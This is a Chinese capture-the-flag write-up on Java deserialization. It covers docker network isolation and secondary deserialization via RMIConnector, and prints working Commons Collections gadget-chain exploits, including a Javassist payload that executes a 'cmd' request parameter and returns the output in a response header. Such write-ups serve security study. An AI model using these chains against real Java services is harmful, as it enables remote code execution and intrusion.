SICTFR3 CC_deserialization

7c40de6b6ba836825397709e0d8b0077967c14bb

厚脸皮找出题人要的零解题目0.o

题目描述

最近jack想学cc链,他请教了一位师傅,师傅为了考验他的能力,给了他一个网址和jar包,让他拿到地址中的flag,可是jack拿到网址后一脸懵逼,所以来找你求救,你能帮助他吗?

docker分析

通过nginx反向代理实现外部访问跳转到http://web:8080

image-20240315141610008

这是他docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
version: "3"
services:
nginx:
image: nginx:1.17.9
container_name: nginx
restart: always
ports:
- 8080:80
links:
- web
volumes:
- ./nginx/conf.d:/etc/nginx/conf.d
networks:
- outer
- inner
web:
image: web
build: ./web
container_name: web
restart: always
environment:
- FLAG=flag{64177ed4-9254-dc2f-8d30-88aaef1b8264}
networks:
inner:
ipv4_address: 10.6.0.7
networks:
inner:
driver: bridge
internal: true
ipam:
config:
- subnet: 10.6.0.0/16
gateway: 10.6.0.1
outer:
driver: bridge

可以看到他定义了两个网络:innerouter

  • inner 网络是内部的,意味着连接到它的容器可以彼此通信,但不能与不在此网络中的容器通信。
  • inner 网络使用桥接驱动程序,并配置了特定的子网(10.6.0.0/16)和网关(10.6.0.1)。
  • outer 网络也使用桥接驱动程序。

image-20240315142628338

subnet:CIDR格式的子网,表示网段

CIDR

CIDR是“无类域间路由(Classless Inter-Domain Routing)”的缩写,它是一种IP地址分配和路由选择的方法,可以更有效地管理IP地址。CIDR采用更灵活的地址分配方法,通过在IP地址中使用可变长度的前缀,实现更细粒度的地址划分。它可以将一个IP地址块划分为多个子网,每个子网可以拥有不同数量的主机地址。CIDR还可以减少路由表的大小,提高路由选择的效率和速度。

如何将CIDR表示法转换为子网掩码?

  • CIDR表示法是一个IP地址后面跟着一个斜杠和一个数字,例如192.168.1.0/24。
  • 计算子网掩码的二进制数值。子网掩码是一个32位的二进制数,其中前面的n位为1,表示网络地址,后面的32-n位为0,表示主机地址。例如,CIDR表示法192.168.1.0/24中的数字24表示前面24位为1,后面8位为0,因此,对应的子网掩码为11111111.11111111.11111111.00000000,或者简写为255.255.255.0。
  • 将子网掩码的二进制数值转换为十进制数值,即为对应的子网掩码。例如,11111111.11111111.11111111.00000000对应的十进制数值为255.255.255.0。

子网掩码

即用来判断两台计算机的IP地址是否属于同一个网络段的判断。如果两台计算机处于同一个网络字段上,则这两台计算机就可以直接进行通信交流。

屏蔽IP地址的一部分用来表示区别是网络标识和主机标识,以此来判断出IP地址是在局域网还是,Internet网上,将整个巨大的IP

网络划分成若干个小的子网,除此之外通过计算机的子网掩码,可以判断出两台计算机是否是处在同一个网络段的。

即将计算机的IP地址和子网掩码都转化为二进制,进行AND运算,得出结果相同的话,则说明两台计算机处在同一个网络段,可以直接通信。

gateway:主子网的IPv4或IPv6网关

子网

为了确定网络区域,分开主机和路由器的每个接口,从而产生了若干个分离的网络岛,接口端连接了这些独立网络的端点。这些独立的网络岛叫做子网(subnet)。

网关

网关(Gateway)又称网间连接器、协议转换器。网关在传输层上以实现网络互连,是最复杂的网络互连设备,仅用于两个高层协议不同的网络互连。网关的结构也和路由器类似,不同的是互连层。网关既可以用于广域网互连,也可以用于局域网互连。 网关是一种充当转换重任的计算机系统或设备。在使用不同的通信协议、数据格式或语言,甚至体系结构完全不同的两种系统之间,网关是一个翻译器。与网桥只是简单地传达信息不同,网关对收到的信息要重新打包,以适应目的系统的需求。同时,网关也可以提供过滤和安全功能。大多数网关运行在OSI 7层协议的顶层–应用层。

网关实质上是一个网络通向其他网络的IP地址

Bridge network

https://docs.docker.com/network/bridge/

Bridge network是一个链路层设备,在不用的网络单元之间转发消息。一个bridge可以是硬件设备也可以是运行在host OS内核的软件设备。

在Docker中,bridge network是一个软件bridge,能够允许连接到同一个bridge network的容器之间进行通信,同时能够隔离没有连接到此bridge network的容器。Docker的bridge驱动会自动在host machine安装路由规则,所以不同bridge network 上的容器之间不能直接相互通信。

Bridge network应用在同一个docker host上的容器。在不同docker host上的容器之间通信时,要么在操作系统层加路由,要么使用overlay network。

启动一个docker时,一个默认的bridge network会被自动创建,新启动的容器会连接到它,除非特别指定网络。也可以创建一个自定义的bridge network。

Docker network driver分类及介绍 Bridge、host、overlay、macvlan(1)-CSDN博客

所以定义自己的网络,并将需要隔离的容器连接到该网络。这样,这些容器之间可以相互通信,但是不能直接访问外部网络。实现了不出网。

Java二次反序列化之RMIConnector

在练一道题的时候碰到了,正好看到这篇文章,就学习一下。

一般在处理不出网题目或者绕过黑名单过滤

利用链

1
invokerTransform#transform() -> RMIConnector#connect() ->> RMIConnector#findRMIServerJRMP()

利用链分析

RMIConnector#findRMIServerJRMP()

在该方法中,将base64字符串解码后以序列化流的形式进行反序列化操作,如果能控制base64参数即可造成二次反序列化

findRMIserverJRMP

可以看到该方法只有一个用法,在同一类的findRMIServer方法中

image-20240323181221980

判断path的开头必须为/stub/并截取的path后的值,所以path为我们base64序列化字符串的传入点。而path通过getURLPath()获取,也就是下面urlPath属性的值,所以这里我们的思路就是通过反射修改urlPath属性的值,为/stub/base64_ser_str的形式

findRMIServer

两个实现,但是doStart方法是protected,故只能使用public的connect方法。

RMIConnector#connect()

image-20240323183813152

直接反射调用的demo来触发二次反序列化

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6_t {




public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\WINDOWS\\system32\\calc.exe"})} ;

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));


TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aa");

Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);

String s = serialize2Base64(map2);
run(s);
// unserialize("ser.bin");

}


public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize2Base64(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return s;
}

public static void run(String base64) throws Exception{
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
rmiConnector.connect();

}

}

image-20240323183928918

通过CC6来进行调用二次反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6_t {
public static void main(String[] args) throws Exception {
//CC6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\WINDOWS\\\\system32\\\\calc.exe"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aa");
Class c = LazyMap.class;

Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);
String s = serialize2Base64(map2);
run(s);
// unserialize("ser.bin");
}

public static void unserialize(byte[] ser) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(ser));
objectInputStream.readObject();
System.out.println("Unserialize Ok!");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize2Base64(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return s;
}
public static byte[] serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
System.out.println("Serialize Ok!");
String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(s);
System.out.println(s.length());
return byteArrayOutputStream.toByteArray();
}
public static void run(String base64) throws Exception{
//构造恶意的RMIConnector
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
//使用InvokerTransformer 调用 connect 方法
InvokerTransformer connect = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,rmiConnector);
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry, "2");
lazyMap.remove(rmiConnector);
setFieldValue(lazyMap,"factory",connect);
byte[] serialize = serialize(hashMap1);
unserialize(serialize);
}
}

image-20240323191130508

调用栈

image-20240323191441722

Javassist在反序列化中的应用

Javassist是一个可以动态生成Java字节码(.class)的库,它可以在运行的时候生成新的类。有时候,我们需要在所有class都被编译完后,运行时再修改或新建一个class文件,Javassist可以帮助我们达到这个目的。

本题在类的构造函数中定义了一个方法。该方法通过获取当前的 HTTP 请求,并利用反射获取请求中的参数,然后执行其中的命令,并将结果设置到 HTTP 响应的头部中。

org.apache.catalina.connector.Response是接口ServletResponse的实现。

ServletResponse定义一个对象来帮助servlet向客户端发送响应。servlet容器创建一个 ServletResponse对象,并将其作为参数传递给servlet 服务方法

https://tomcat.apache.org/tomcat-8.5-doc/servletapi/javax/servlet/ServletResponse.html

通过 request.getParameter("cmd") 获取到名为 “cmd” 的请求参数,并将其作为命令执行。

题解

打开jar包看到ABJI0X7DK2YX78F5Q

poc分析

这是出题人给的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

/**
* Hello world!
*
*/
public class CCDeserializeExp {

public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:iiop:///stub/" + CC3Exp());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, new HashMap<String, String>());
ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<String, String> map = new HashMap<>();
map.put("value", "value");
TransformedMap decorate1 = (TransformedMap) TransformedMap.decorate(map, null, invokerTransformer);
TransformedMap decorate = (TransformedMap) TransformedMap.decorate(decorate1, null, constantTransformer);
Class<?> name = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = name.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(o);
System.out.println(URLEncoder.encode(Base64.encode(bao.toByteArray()).replaceAll("\\s*", "")));
}
public static String CC3Exp() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = payload();
byte[][] codes = {code};
bytecodesField.set(templates, codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");
Class<LazyMap> c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(map2);
return Base64.encode(bao.toByteArray()).replaceAll("\\s*", "");
}
public static byte[] payload() throws NotFoundException, CannotCompileException, IOException {
String s="public MyClassLoader(){ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
" java.lang.reflect.Field r=request.getClass().getDeclaredField(\"request\");\n" +
" r.setAccessible(true);" +
" org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();\n"+
" String s =new Scanner(Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream()).next();" +
" response.setHeader(\"night\", s);}";
ClassPool classPool = ClassPool.getDefault();
classPool.importPackage(Scanner.class.getName());
CtClass ctClass = classPool.get(AbstractTranslet.class.getName());


CtClass calc = classPool.makeClass("MyClassLoader");
calc.setSuperclass(ctClass);
CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
calc.addConstructor(ctConstructor);

return calc.toBytecode();
}
}

main方法是rmiConnector结合CC1,rmiConnector是把CC3Exp这个函数返回的拼接进去,当作第二次反序列化的payload,而CC3Exp这个函数又是CC3加CC6,CC3是利用Javassist生成的字节码来执行任意命令。

动态调试

ctf-idea调试jar包_ctf java jar-CSDN博客

在环境目录执行:

1
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -jar app.jar

记得在打开题目jar包后引入common-collections3.2.1外部库

然后在IDEA中添加远程JVM调试

image-20240323202158120

org.apache.commons.collections.map.AbstractInputCheckedMapDecorator的setValue方法打个断点

image-20240324134151311

步入org.apache.commons.collections.map.TransformedMap的checkSetValue方法

image-20240324134344879

步入又回到了org.apache.commons.collections.map.AbstractInputCheckedMapDecorator的setValue方法,可以看到这个时候返回值就不一样了。

image-20240324134720721

接着步入到org.apache.commons.collections.map.TransformedMap的checkSetValue方法

image-20240324134903605

再步入就进入org.apache.commons.collections.functors.InvokerTransformer的transform方法

image-20240324135001294

链子就是

1
2
3
4
5
6
AnnotationInvocationHandler.readObject->
AbstractInputCheckedMapDecorator.setValue->
TransformedMap.checkSetValue->
AbstractInputCheckedMapDecorator.setValue->
TransformedMap.checkSetValue->
InvokerTransformer.transform

image-20240324135826208

知识星球 | 深度连接铁杆粉丝,运营高品质社群,知识变现的工具 (zsxq.com)

浅谈Java二次反序列化 - 先知社区 (aliyun.com)

二次反序列化 看我一命通关 - 知乎 (zhihu.com)

Java安全Commons Collections1初探过程的思考 - 先知社区 (aliyun.com)

从 HttpServletRequest 获取查询参数 - spring 中文网 (springdoc.cn)

Java反序列化漏洞之Javassist(8) | Shulei He - Blog (leihehe.top)